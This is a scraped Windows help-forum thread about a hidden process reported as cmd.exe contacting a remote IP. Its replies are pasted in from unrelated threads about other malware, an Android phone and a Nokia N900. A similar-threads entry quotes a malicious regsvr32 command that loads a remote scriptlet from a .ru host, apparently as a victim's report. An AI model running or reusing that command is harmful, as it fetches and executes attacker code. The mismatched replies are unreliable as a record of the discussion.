Windows 10: 'Malware cmd.exe sending request to 172.111.239.90' keeps getting this notification

Discus and support 'Malware cmd.exe sending request to 172.111.239.90' keeps getting this notification in Windows 10 Software and Apps to solve the problem; from last few days my laptop fans were running at full blast even at idle , so i when i opened task manager its shows ram and cpu being utilised at... Discussion in 'Windows 10 Software and Apps' started by raj_250, Feb 16, 2024.

  1. raj_250 Win User

    'Malware cmd.exe sending request to 172.111.239.90' keeps getting this notification


    from last few days my laptop fans were running at full blast even at idle , so i when i opened task manager its shows ram and cpu being utilised at 100% but within seconds cpu drops to 5% and ram to normal at 40-50% so when this happend i opened task manager and it drops as it seemed this malware was designed to hide when someone open task manager so i had doubt i installed malwarebytes and then it found this and this keeps trying to open several times but has helped in reducing fan speed and cpu and ram to normal levels so so how can i remove this malware?thanks

    :)
     
    raj_250, Feb 16, 2024
    #1

  2. Malware tprdpw64.exe after installing 7zip

    Thank you for the reply and the suggestions. However neither link provided a working solution. I followed each set of instructions step by step, to the T, but the viruses are still there.

    I killed the processes with Rkill as instructed, and it found and ended the malware process `tprdpw64.exe`. It, however, did nothing
    about the adware `svcvmx` & `svcvmx client` processes. After doing so I downloaded and installed Zemana, as instructed, and let it do a full system scan. Might I add that this took over
    10 hours to complete, as I have 1,396,541 files on my PC, so this whole thing wasted nearly half a day of my time with no results.

    Zemana detected the malware virus `tprdpw64.exe` located at "C:\WINDOWS\System32\tprdpw64.exe"
    (among other, smaller "threats"), and labeled it as malware. After it finished the scan, it said it has placed all files into quarantine, including `tprdpw64.exe`.
    However, when checking the quarantine list `tprdpw64.exe` is
    not listed. I then decided to have Zemana remove the files in the
    quarantine list from my system and then rebooted my PC. It removed them all successfully, except for `tprdpw64.exe`
    which is still on my system, and still runs (I can still see it in task manager after rebooting). So the 10+ hours of waiting were all for nothing.

    I then used Zemana's "drag-and-drop" feature to re-scan just `tprdpw64.exe`
    (in order to not have to wait 10+ hours again). It scanned it, and now says the file is not a threat (but it clearly is).

    I then proceeded to step 2, using AdwCleaner to remove the adware. This did not work in the slightest. AdwCleaner did not detect the adware virus at all, and thus did nothing about it. I still cannot remove the viruses manually, either. However for some
    reason, the adware `svcvmx` & `svcvmx client` processes no longer seem to run (my PC has been on for about an hour, and the processes
    have yet to startup). However, even so the files are still on my file system and would like to delete them.

    EDIT

    I have just searched my registry, looking for any possible signs of tprdpw64 being listed, and there was nothing there.
     
    Jon Barrow, Feb 16, 2024
    #2
  3. (SOLVED/CLOSED)looking for help with Android phone CONSTANT wireless signal notification

    Yeah, thats not a solution she is interested in......I've suggested that course of action. Thanks though.

    Just to clarify, I feel that there MUST be a step, or series of steps to turn off JUST the wireless notification sound. Thats what Im driving @ here.
     
    jboydgolfer, Feb 16, 2024
    #3
  4. jeims_m Win User

    'Malware cmd.exe sending request to 172.111.239.90' keeps getting this notification

    problems with sending requests

    I cannot send requests from my N900 such as *102# or *111*1#

    after typing in dialing mode and tryin to call I see only WRONG NUMBER and its not operator answer but from phone. Is there any different way to make such requests?
     
    jeims_m, Feb 16, 2024
    #4
Thema:

'Malware cmd.exe sending request to 172.111.239.90' keeps getting this notification

Loading...
  1. 'Malware cmd.exe sending request to 172.111.239.90' keeps getting this notification - Similar Threads - 'Malware cmd exe

  2. windows security keeps sending me a notification

    in AntiVirus, Firewalls and System Security
    windows security keeps sending me a notification: the notifcation is about about firewall being turned off even when it's actually on and this everytime i start windowsfor some reason it comes back when i restart explorer on task manager thoughcan't upload a screenshot for some reason so i'll quote it instead:Windows...
  3. windows security keeps sending me a notification

    in Windows 10 Gaming
    windows security keeps sending me a notification: the notifcation is about about firewall being turned off even when it's actually on and this everytime i start windowsfor some reason it comes back when i restart explorer on task manager thoughcan't upload a screenshot for some reason so i'll quote it instead:Windows...
  4. 'Malware cmd.exe sending request to 172.111.239.90' keeps getting this notification

    in Windows 10 Gaming
    'Malware cmd.exe sending request to 172.111.239.90' keeps getting this notification: from last few days my laptop fans were running at full blast even at idle , so i when i opened task manager its shows ram and cpu being utilised at 100% but within seconds cpu drops to 5% and ram to normal at 40-50% so when this happend i opened task manager and it drops as...
  5. aspnet_compiler keeps restarting and sending odd requests.

    in Windows 10 Performance & Maintenance
    aspnet_compiler keeps restarting and sending odd requests.: So this is a follow up from the previous question, I noticed aspnet_compiler.exe constantly keeping the screen on, as seen from powercfg/requests. I also installed an antivirus software and now it is saying it is sending a request to a site every 10 seconds or so. What is...
  6. aspnet_compiler keeps restarting and sending odd requests.

    in Windows 10 Software and Apps
    aspnet_compiler keeps restarting and sending odd requests.: So this is a follow up from the previous question, I noticed aspnet_compiler.exe constantly keeping the screen on, as seen from powercfg/requests. I also installed an antivirus software and now it is saying it is sending a request to a site every 10 seconds or so. What is...
  7. aspnet_compiler keeps restarting and sending odd requests.

    in Windows 10 Gaming
    aspnet_compiler keeps restarting and sending odd requests.: So this is a follow up from the previous question, I noticed aspnet_compiler.exe constantly keeping the screen on, as seen from powercfg/requests. I also installed an antivirus software and now it is saying it is sending a request to a site every 10 seconds or so. What is...
  8. regsvr32.exe as Malware

    in Windows 10 BSOD Crashes and Debugging
    regsvr32.exe as Malware: Hello Team, We are observing Malware as Cloud IOC: W32.COMScriptletAbuse.ioc from the file path C:\Windows\System32\regsvr32.exe /s /n /u /i:http://server2.aserdefa.ru/restore.xml scrobj.dll. Can we delete or Uninstall the file will it affect the OS. Please let me know...
  9. Send A Request

    in User Accounts and Family Safety
    Send A Request: This used to work. It would enable them to send an email and I could remotely give more time. Now child using computer runs out of time so wants more of course, clicks on send request but gets "something went wrong we were unable to send your request. are you connected to...
  10. is Excelcnv exe malware?

    in AntiVirus, Firewalls and System Security
    is Excelcnv exe malware?: I have problems with my PC performance. Today I found a program file called excelcnv. I think it is malware but I am not sure. Can I delete this file? c:/programfiles(X86)/microsoftoffice/root/office16 Thank you....